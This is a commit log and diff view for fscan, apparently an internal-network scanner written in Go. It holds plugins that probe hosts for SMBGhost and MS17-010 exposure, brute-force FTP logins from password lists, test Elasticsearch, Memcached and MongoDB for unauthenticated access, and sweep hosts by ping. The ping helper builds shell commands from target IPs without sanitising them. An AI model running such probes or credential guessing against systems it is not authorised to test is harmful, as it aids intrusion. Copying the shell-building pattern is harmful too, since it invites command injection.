23 Commits
Author SHA1 Message Date
shadow1ng c27eccbcc9 Merge remote-tracking branch 'origin/main' into main
# Conflicts:
#	README.md
2020-12-06 10:51:53 +08:00
shadow1ng 90b848a3dc 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 2020-12-06 10:50:47 +08:00
shadow1ng 767fff84ed 优化icmp模块,新增-domain 参数(用于smb爆破模块,适用于域用户) 2020-12-06 10:50:40 +08:00
shadow1ng b4fb1efb3a 优化icmp模块 2020-12-05 16:57:01 +08:00
影舞者 c4d1cd950a Update README.md 2020-12-03 23:24:21 +08:00
shadow1ng 818102a814 优化ip段处理模块、端口扫描模块。 2020-12-03 23:20:39 +08:00
shadow1ng b00a5d4403 优化参数处理 2020-12-03 17:02:21 +08:00
shadow1ng f638d3a1e2 优化ip段处理模块,新增支持192.168.1.1-192.168.255.255 2020-12-03 16:00:40 +08:00
shadow1ng 8ca4d2c89a 优化ip段处理模块,新增支持192.168.1.1-192.168.255.255 2020-12-03 15:55:29 +08:00
shadow1ng 13a3cacd93 mac下修改ping所需的bash路径,改为/bin/bash。(原为/usr/local/bin/bash),并把超时参数由-w 改为-W。 2020-11-17 16:04:56 +08:00
shadow1ng 3282f4abcb Merge remote-tracking branch 'origin/main' into main 2020-11-17 15:49:33 +08:00
shadow1ng 0cff8351ac 修改mac下ping所需的bash路径,改为/bin/bash。(原为/usr/local/bin/bash) 2020-11-17 15:48:53 +08:00
影舞者 cd29281e72 Update README.md 2020-11-17 14:31:38 +08:00
shadow1ng db028ba0cc 增加-ping 参数,作用是存活探测模块用ping代替icmp发包。 2020-11-17 14:27:15 +08:00
shadow1ng 2026b5f587 新增shiro识别 2020-11-17 13:23:58 +08:00
shadow1ng ce657e22a9 新增shiro识别 2020-11-17 13:22:49 +08:00
shadow1ng d96b0c0ad0 update 2020-11-17 13:16:05 +08:00
shadow1ng a33ed4cfeb update 2020-11-17 13:15:08 +08:00
影舞者 30c1f267c2 Delete fscan 2020-11-17 11:26:33 +08:00
影舞者 faae9c7870 Merge pull request #4 from v1xingyue/main
如下简单代码修改 方便编译
1.使用 go mod 创建项目
2.使用 import 绝对路径,代替 相对路径
推荐编译命令,生成的文件更小
go build -ldflags="-s -w " -trimpath -gcflags=-trimpath=$GOPATH -asmflags=-trimpath=$GOPATH
2020-11-17 11:25:29 +08:00
v1xingyue 57349aab7b 1. 使用 go mod 创建项目
2. 使用 import 绝对路径,代替 相对路径
2020-11-17 10:35:27 +08:00
shadow1ng 33121ead42 update 2020-11-17 00:27:23 +08:00
shadow1ng 12f9e6ed62 update 2020-11-17 00:22:57 +08:00
26 changed files with 866 additions and 787 deletions
+84 -83
View File
@@ -1,113 +1,114 @@
package Plugins package Plugins
//Ladon Scanner for golang //Ladon Scanner for golang
//Author: k8gege //Author: k8gege
//K8Blog: http://k8gege.org //K8Blog: http://k8gege.org
//Github: https://github.com/k8gege //Github: https://github.com/k8gege
import ( import (
"../common"
"bytes" "bytes"
"fmt" "fmt"
"net" "net"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
const ( const (
pkt = pkt = "\x00" + // session
"\x00" + // session "\x00\x00\xc0" + // legth
"\x00\x00\xc0"+ // legth
"\xfeSMB@\x00"+ // protocol "\xfeSMB@\x00" + // protocol
//[MS-SMB2]: SMB2 NEGOTIATE Request //[MS-SMB2]: SMB2 NEGOTIATE Request
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5 //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
"\x00\x00" + "\x00\x00" +
"\x00\x00" + "\x00\x00" +
"\x00\x00" + "\x00\x00" +
"\x00\x00" + "\x00\x00" +
"\x1f\x00" + "\x1f\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT // [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7 // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
"$\x00" + "$\x00" +
"\x08\x00" + "\x08\x00" +
"\x01\x00" + "\x01\x00" +
"\x00\x00" + "\x00\x00" +
"\x7f\x00\x00\x00" + "\x7f\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
"x\x00" + "x\x00" +
"\x00\x00" + "\x00\x00" +
"\x02\x00" + "\x02\x00" +
"\x00\x00" + "\x00\x00" +
"\x02\x02" + "\x02\x02" +
"\x10\x02" + "\x10\x02" +
"\x22\x02" + "\x22\x02" +
"$\x02" + "$\x02" +
"\x00\x03" + "\x00\x03" +
"\x02\x03" + "\x02\x03" +
"\x10\x03" + "\x10\x03" +
"\x11\x03" + "\x11\x03" +
"\x00\x00\x00\x00" + "\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES "\x01\x00" +
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5 "&\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
"\x01\x00" + // [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
"&\x00" + // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES "\x03\x00" +
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271 "\x0e\x00" +
"\x00\x00\x00\x00" +
"\x03\x00" + "\x01\x00" + //CompressionAlgorithmCount
"\x0e\x00" + "\x00\x00" +
"\x00\x00\x00\x00" + "\x01\x00\x00\x00" +
"\x01\x00" + //CompressionAlgorithmCount "\x01\x00" + //LZNT1
"\x00\x00" + "\x00\x00" +
"\x01\x00\x00\x00" + "\x00\x00\x00\x00"
"\x01\x00" + //LZNT1
"\x00\x00" +
"\x00\x00\x00\x00"
) )
func SmbGhost(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
func SmbGhost(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
SmbGhostScan(info) SmbGhostScan(info)
wg.Done() wg.Done()
<- ch <-ch
} }
func SmbGhostScan(info *common.HostInfo) { func SmbGhostScan(info *common.HostInfo) {
ip,port,timeout := info.Host,445,time.Duration(info.Timeout)*time.Second ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
addr:=fmt.Sprintf("%s:%d",info.Host,port) addr := fmt.Sprintf("%s:%d", info.Host, port)
conn, err := net.DialTimeout("tcp", addr, timeout) conn, err := net.DialTimeout("tcp", addr, timeout)
if err != nil { if err != nil {
return return
@@ -118,10 +119,10 @@ func SmbGhostScan(info *common.HostInfo) {
n, err := conn.Read(buff) n, err := conn.Read(buff)
if err != nil { if err != nil {
return return
}else { } else {
defer conn.Close() defer conn.Close()
if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true { if bytes.Contains([]byte(buff[:n]), []byte("Public")) == true {
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable",ip) result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
common.LogSuccess(result) common.LogSuccess(result)
} }
} }
+22 -22
View File
@@ -1,7 +1,6 @@
package Plugins package Plugins
import ( import (
"../common"
"fmt" "fmt"
"io/ioutil" "io/ioutil"
"net" "net"
@@ -9,46 +8,47 @@ import (
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
func elasticsearchScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { func elasticsearchScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
geturl2(info) geturl2(info)
wg.Done() wg.Done()
<-ch <-ch
} }
func geturl2(info *common.HostInfo) (flag bool, err error) {
func geturl2(info *common.HostInfo) (flag bool,err error) {
flag = false flag = false
url := fmt.Sprintf("%s:%d/_cat",info.Url,common.PORTList["elastic"]) url := fmt.Sprintf("%s:%d/_cat", info.Url, common.PORTList["elastic"])
var client = &http.Client{ var client = &http.Client{
Transport:&http.Transport{ Transport: &http.Transport{
DialContext:(&net.Dialer{ DialContext: (&net.Dialer{
Timeout:time.Duration(info.Timeout)*time.Second, Timeout: time.Duration(info.Timeout) * time.Second,
}).DialContext, }).DialContext,
}, },
CheckRedirect:func(req *http.Request, via []*http.Request) error{ CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse return http.ErrUseLastResponse
}, },
} }
res,err:=http.NewRequest("GET",url,nil) res, err := http.NewRequest("GET", url, nil)
if err==nil{ if err == nil {
res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Add("Accept","*/*") res.Header.Add("Accept", "*/*")
res.Header.Add("Accept-Language","zh-CN,zh;q=0.9") res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
res.Header.Add("Accept-Encoding","gzip, deflate") res.Header.Add("Accept-Encoding", "gzip, deflate")
res.Header.Add("Connection","close") res.Header.Add("Connection", "close")
resp,err:=client.Do(res) resp, err := client.Do(res)
if err==nil{ if err == nil {
defer resp.Body.Close() defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body) body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body),"/_cat/master"){ if strings.Contains(string(body), "/_cat/master") {
result := fmt.Sprintf("Elastic:%s unauthorized",url) result := fmt.Sprintf("Elastic:%s unauthorized", url)
common.LogSuccess(result) common.LogSuccess(result)
flag = true flag = true
} }
} }
} }
return flag,err return flag, err
} }
+20 -22
View File
@@ -11,33 +11,33 @@ import (
"fmt" "fmt"
"sync" "sync"
"../common" "github.com/shadow1ng/fscan/common"
) )
var ( var (
buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") buffer_v1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500") buffer_v2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
buffer_v3, _ = hex.DecodeString("0900ffff0000") buffer_v3, _ = hex.DecodeString("0900ffff0000")
) )
func Findnet(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
func Findnet(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
FindnetScan(info) FindnetScan(info)
wg.Done() wg.Done()
<- ch <-ch
} }
func FindnetScan(info *common.HostInfo) { func FindnetScan(info *common.HostInfo) {
realhost:=fmt.Sprintf("%s:%d",info.Host,135) realhost := fmt.Sprintf("%s:%d", info.Host, 135)
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil{ if err != nil {
return return
} }
conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second)) conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
defer conn.Close() defer conn.Close()
conn.Write(buffer_v1) conn.Write(buffer_v1)
reply := make([]byte, 4096) reply := make([]byte, 4096)
_, err = conn.Read(reply) _, err = conn.Read(reply)
if err != nil{ if err != nil {
return return
} }
conn.Write(buffer_v2) conn.Write(buffer_v2)
@@ -47,31 +47,29 @@ func FindnetScan(info *common.HostInfo) {
text := reply[42:] text := reply[42:]
flag := true flag := true
for i := 0; i < len(text)-5; i++ { for i := 0; i < len(text)-5; i++ {
if bytes.Equal(text[i:i+6], buffer_v3){ if bytes.Equal(text[i:i+6], buffer_v3) {
text = text[:i-4] text = text[:i-4]
flag = false flag = false
break break
} }
} }
if flag{ if flag {
return return
} }
read(text,info.Host) read(text, info.Host)
} }
func read(text []byte,host string) { func read(text []byte, host string) {
encodedStr := hex.EncodeToString(text) encodedStr := hex.EncodeToString(text)
hostnames := strings.Replace(encodedStr, "0700", "", -1) hostnames := strings.Replace(encodedStr, "0700", "", -1)
hostname := strings.Split(hostnames, "000000") hostname := strings.Split(hostnames, "000000")
result := "NetInfo:\n[*]"+host result := "NetInfo:\n[*]" + host
for i := 0; i < len(hostname); i++ { for i := 0; i < len(hostname); i++ {
hostname[i] = strings.Replace(hostname[i], "00", "", -1) hostname[i] = strings.Replace(hostname[i], "00", "", -1)
host,err := hex.DecodeString(hostname[i]) host, err := hex.DecodeString(hostname[i])
if err != nil{ if err != nil {
return return
} }
result += "\n [->]"+string(host) result += "\n [->]" + string(host)
} }
common.LogSuccess(result) common.LogSuccess(result)
} }
+16 -15
View File
@@ -1,41 +1,42 @@
package Plugins package Plugins
import ( import (
"../common"
"github.com/jlaffaye/ftp"
"fmt" "fmt"
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
) )
func FtpScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { func FtpScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
Loop: Loop:
for _,user:=range common.Userdict["ftp"]{ for _, user := range common.Userdict["ftp"] {
for _,pass:=range common.Passwords{ for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", string(user), -1)
flag,err := FtpConn(info,user,pass) flag, err := FtpConn(info, user, pass)
if flag==true && err==nil { if flag == true && err == nil {
break Loop break Loop
} }
} }
} }
wg.Done() wg.Done()
<- ch <-ch
} }
func FtpConn(info *common.HostInfo,user string,pass string)(flag bool,err error){ func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host,Port,Username,Password := info.Host, common.PORTList["ftp"],user, pass Host, Port, Username, Password := info.Host, common.PORTList["ftp"], user, pass
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v",Host,Port), time.Duration(info.Timeout)*time.Second) conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(info.Timeout)*time.Second)
if err == nil { if err == nil {
err = conn.Login(Username,Password) err = conn.Login(Username, Password)
if err == nil { if err == nil {
defer conn.Logout() defer conn.Logout()
result := fmt.Sprintf("FTP:%v:%v:%v %v",Host,Port,Username,Password) result := fmt.Sprintf("FTP:%v:%v:%v %v", Host, Port, Username, Password)
common.LogSuccess(result) common.LogSuccess(result)
flag = true flag = true
} }
} }
return flag,err return flag, err
} }
+76 -94
View File
@@ -2,7 +2,6 @@ package Plugins
import ( import (
"bytes" "bytes"
"encoding/binary"
"fmt" "fmt"
"net" "net"
"os" "os"
@@ -14,26 +13,18 @@ import (
"time" "time"
) )
var icmp ICMP
var AliveHosts []string var AliveHosts []string
type ICMP struct { var SysInfo = GetSys()
Type uint8
Code uint8
Checksum uint16
Identifier uint16
SequenceNum uint16
}
type SystemInfo struct { type SystemInfo struct {
OS string OS string
ARCH string ARCH string
HostName string HostName string
Groupid string Groupid string
Userid string Userid string
Username string Username string
UserHomeDir string UserHomeDir string
} }
func GetSys() SystemInfo { func GetSys() SystemInfo {
@@ -56,119 +47,97 @@ func GetSys() SystemInfo {
} }
func isping(ip string) bool { func isping(ip string) bool {
icmp.Type = 8 IcmpByte := []byte{8, 0, 247, 255, 0, 0, 0, 0}
icmp.Code = 0
icmp.Checksum = 0
icmp.Identifier = 0
icmp.SequenceNum = 0
recvBuf := make([]byte, 32)
var buffer bytes.Buffer
binary.Write(&buffer, binary.BigEndian, icmp)
icmp.Checksum = CheckSum(buffer.Bytes())
buffer.Reset()
binary.Write(&buffer, binary.BigEndian, icmp)
Time, _ := time.ParseDuration("3s") Time, _ := time.ParseDuration("3s")
conn, err := net.DialTimeout("ip4:icmp", ip, Time) conn, err := net.DialTimeout("ip4:icmp", ip, Time)
if err != nil { if err != nil {
return false return false
} }
_, err = conn.Write(buffer.Bytes()) defer conn.Close()
if err != nil { _, err = conn.Write(IcmpByte)
return false
}
conn.SetReadDeadline(time.Now().Add(time.Second * 3))
num, err := conn.Read(recvBuf)
if err != nil { if err != nil {
return false return false
} }
conn.SetReadDeadline(time.Time{}) if err := conn.SetReadDeadline(time.Now().Add(time.Second * 3)); err != nil {
return false
}
recvBuf := make([]byte, 40)
num, err := conn.Read(recvBuf[0:40])
if err != nil {
return false
}
if err := conn.SetReadDeadline(time.Time{}); err != nil {
return false
}
if string(recvBuf[0:num]) != "" { if string(recvBuf[0:num]) != "" {
fmt.Printf("(ICMP) Target '%s' is alive\n",ip) fmt.Printf("(ICMP) Target '%s' is alive\n", ip)
return true return true
} }
return false return false
} }
func CheckSum(data []byte) uint16 { func IcmpCheck(hostslist []string, IcmpThreads int) {
var (
sum uint32
length int = len(data)
index int
)
for length > 1 {
sum += uint32(data[index])<<8 + uint32(data[index+1])
index += 2
length -= 2
}
if length > 0 {
sum += uint32(data[index])
}
sum += (sum >> 16)
return uint16(^sum)
}
func IcmpCheck(hostslist []string,IcmpThreads int) {
var wg sync.WaitGroup var wg sync.WaitGroup
mutex := &sync.Mutex{} mutex := &sync.Mutex{}
limiter := make(chan int, IcmpThreads) limiter := make(chan struct{}, IcmpThreads)
for _,host :=range hostslist{ for _, host := range hostslist {
wg.Add(1) wg.Add(1)
limiter <- 1 limiter <- struct{}{}
go func(host string) { go func(host string) {
defer wg.Done() defer wg.Done()
if isping(host){ if isping(host) {
mutex.Lock() mutex.Lock()
AliveHosts = append(AliveHosts, host) AliveHosts = append(AliveHosts, host)
mutex.Unlock() mutex.Unlock()
} }
<- limiter <-limiter
}(host) }(host)
} }
wg.Wait() wg.Wait()
} }
func ExecCommandPing(ip string, bsenv string) bool {
func ExecCommandPing(ip string,bsenv string) bool { var command *exec.Cmd
command := exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" if SysInfo.OS == "windows" {
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "linux" {
command = exec.Command(bsenv, "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
} else if SysInfo.OS == "darwin" {
command = exec.Command(bsenv, "-c", "ping -c 1 -W 1 "+ip+" >/dev/null && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false"
}
outinfo := bytes.Buffer{} outinfo := bytes.Buffer{}
command.Stdout = &outinfo command.Stdout = &outinfo
err := command.Start() err := command.Start()
if err != nil{ if err != nil {
return false return false
} }
if err = command.Wait(); err != nil {
if err = command.Wait();err!=nil{
return false return false
}else{ } else {
if(strings.Contains(outinfo.String(), "true")) { if strings.Contains(outinfo.String(), "true") {
return true return true
}else { } else {
return false return false
} }
} }
} }
func PingCMDcheck(hostslist []string,bsenv string) { func PingCMDcheck(hostslist []string, bsenv string) {
var wg sync.WaitGroup var wg sync.WaitGroup
mutex := &sync.Mutex{} mutex := &sync.Mutex{}
limiter := make(chan struct{}, 40) limiter := make(chan struct{}, 40)
for _,host :=range hostslist{ for _, host := range hostslist {
wg.Add(1) wg.Add(1)
limiter <- struct{}{} limiter <- struct{}{}
go func(host string) { go func(host string) {
defer wg.Done() defer wg.Done()
if ExecCommandPing(host,bsenv){ if ExecCommandPing(host, bsenv) {
mutex.Lock() mutex.Lock()
fmt.Printf("(Ping) Target '%s' is alive\n",host) fmt.Printf("(Ping) Target '%s' is alive\n", host)
AliveHosts = append(AliveHosts, host) AliveHosts = append(AliveHosts, host)
mutex.Unlock() mutex.Unlock()
} }
@@ -177,24 +146,37 @@ func PingCMDcheck(hostslist []string,bsenv string) {
} }
wg.Wait() wg.Wait()
} }
func ICMPRun(hostslist []string, IcmpThreads int, Ping bool) []string {
func ICMPRun(hostslist []string,IcmpThreads int) []string{ if SysInfo.OS == "windows" {
var sysinfo SystemInfo if Ping == false {
sysinfo = GetSys() IcmpCheck(hostslist, IcmpThreads)
} else {
if sysinfo.OS == "windows" { PingCMDcheck(hostslist, "")
IcmpCheck(hostslist,IcmpThreads)
}else if sysinfo.OS == "linux" {
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") {
IcmpCheck(hostslist,IcmpThreads)
}else {
PingCMDcheck(hostslist,"/bin/bash")
} }
}else if sysinfo.OS == "darwin" { } else if SysInfo.OS == "linux" {
if (sysinfo.Groupid == "0" || sysinfo.Userid == "0" || sysinfo.Username == "root") { if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
IcmpCheck(hostslist,IcmpThreads) if Ping == false {
}else { IcmpCheck(hostslist, IcmpThreads)
PingCMDcheck(hostslist,"/usr/local/bin/bash") } else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
}
} else if SysInfo.OS == "darwin" {
if SysInfo.Groupid == "0" || SysInfo.Userid == "0" || SysInfo.Username == "root" {
if Ping == false {
IcmpCheck(hostslist, IcmpThreads)
} else {
PingCMDcheck(hostslist, "/bin/bash")
}
} else {
fmt.Println("The current user permissions unable to send icmp packets")
fmt.Println("start ping")
PingCMDcheck(hostslist, "/bin/bash")
} }
} }
return AliveHosts return AliveHosts
+9 -8
View File
@@ -1,31 +1,32 @@
package Plugins package Plugins
import ( import (
"../common"
"fmt" "fmt"
"net" "net"
"strings" "strings"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
func MemcachedScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) { func MemcachedScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) (err error, result string) {
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mem"]) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mem"])
client,err:=net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second) client, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err==nil { if err == nil {
client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second)) client.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
rev := make([]byte, 1024) rev := make([]byte, 1024)
n, err := client.Read(rev) n, err := client.Read(rev)
if err == nil { if err == nil {
if strings.Contains(string(rev[:n]), "STAT") { if strings.Contains(string(rev[:n]), "STAT") {
defer client.Close() defer client.Close()
result = fmt.Sprintf("Memcached:%s unauthorized",realhost) result = fmt.Sprintf("Memcached:%s unauthorized", realhost)
common.LogSuccess(result) common.LogSuccess(result)
} }
} }
} }
wg.Done() wg.Done()
<- ch <-ch
return err, result return err, result
} }
+19 -17
View File
@@ -1,49 +1,51 @@
package Plugins package Plugins
import ( import (
"../common"
"fmt" "fmt"
_ "github.com/denisenkom/go-mssqldb"
"net" "net"
"strings" "strings"
"sync" "sync"
"time" "time"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
) )
func MongodbScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
func MongodbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) {
MongodbUnauth(info) MongodbUnauth(info)
wg.Done() wg.Done()
<- ch <-ch
} }
func MongodbUnauth(info *common.HostInfo) (flag bool,err error) { func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false flag = false
send_data := []byte{58,0,0,0,167,65,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,255,255,255,255,19,0,0,0,16,105,115,109,97,115,116,101,114,0,1,0,0,0,0} send_data := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
getlog_data := []byte{72,0,0,0,2,0,0,0,0,0,0,0,212,7,0,0,0,0,0,0,97,100,109,105,110,46,36,99,109,100,0,0,0,0,0,1,0,0,0,33,0,0,0,2,103,101,116,76,111,103,0,16,0,0,0,115,116,97,114,116,117,112,87,97,114,110,105,110,103,115,0,0} getlog_data := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["mgo"]) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["mgo"])
conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil{return} if err != nil {
return
}
defer conn.Close() defer conn.Close()
conn.Write(send_data) conn.Write(send_data)
buf := make([]byte, 1024) buf := make([]byte, 1024)
count, err := conn.Read(buf) count, err := conn.Read(buf)
if err != nil { if err != nil {
return flag,err return flag, err
} }
text := string(buf[0:count]) text := string(buf[0:count])
if strings.Contains(text,"ismaster"){ if strings.Contains(text, "ismaster") {
conn.Write(getlog_data) conn.Write(getlog_data)
count, err := conn.Read(buf) count, err := conn.Read(buf)
if err != nil { if err != nil {
return flag,err return flag, err
} }
text := string(buf[0:count]) text := string(buf[0:count])
if strings.Contains(text,"totalLinesWritten"){ if strings.Contains(text, "totalLinesWritten") {
flag = true flag = true
result := fmt.Sprintf("Mongodb:%v unauthorized",realhost) result := fmt.Sprintf("Mongodb:%v unauthorized", realhost)
common.LogSuccess(result) common.LogSuccess(result)
} }
} }
return flag,err return flag, err
} }
+7 -6
View File
@@ -8,8 +8,10 @@ import (
//"flag" //"flag"
"fmt" "fmt"
"net" "net"
"../common"
"strings" "strings"
"github.com/shadow1ng/fscan/common"
//"sync" //"sync"
"time" "time"
) )
@@ -22,10 +24,10 @@ var (
trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000") trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000")
) )
func MS17010(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { func MS17010(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
MS17010Scan(info) MS17010Scan(info)
wg.Done() wg.Done()
<- ch <-ch
} }
func MS17010Scan(info *common.HostInfo) { func MS17010Scan(info *common.HostInfo) {
@@ -39,7 +41,7 @@ func MS17010Scan(info *common.HostInfo) {
} }
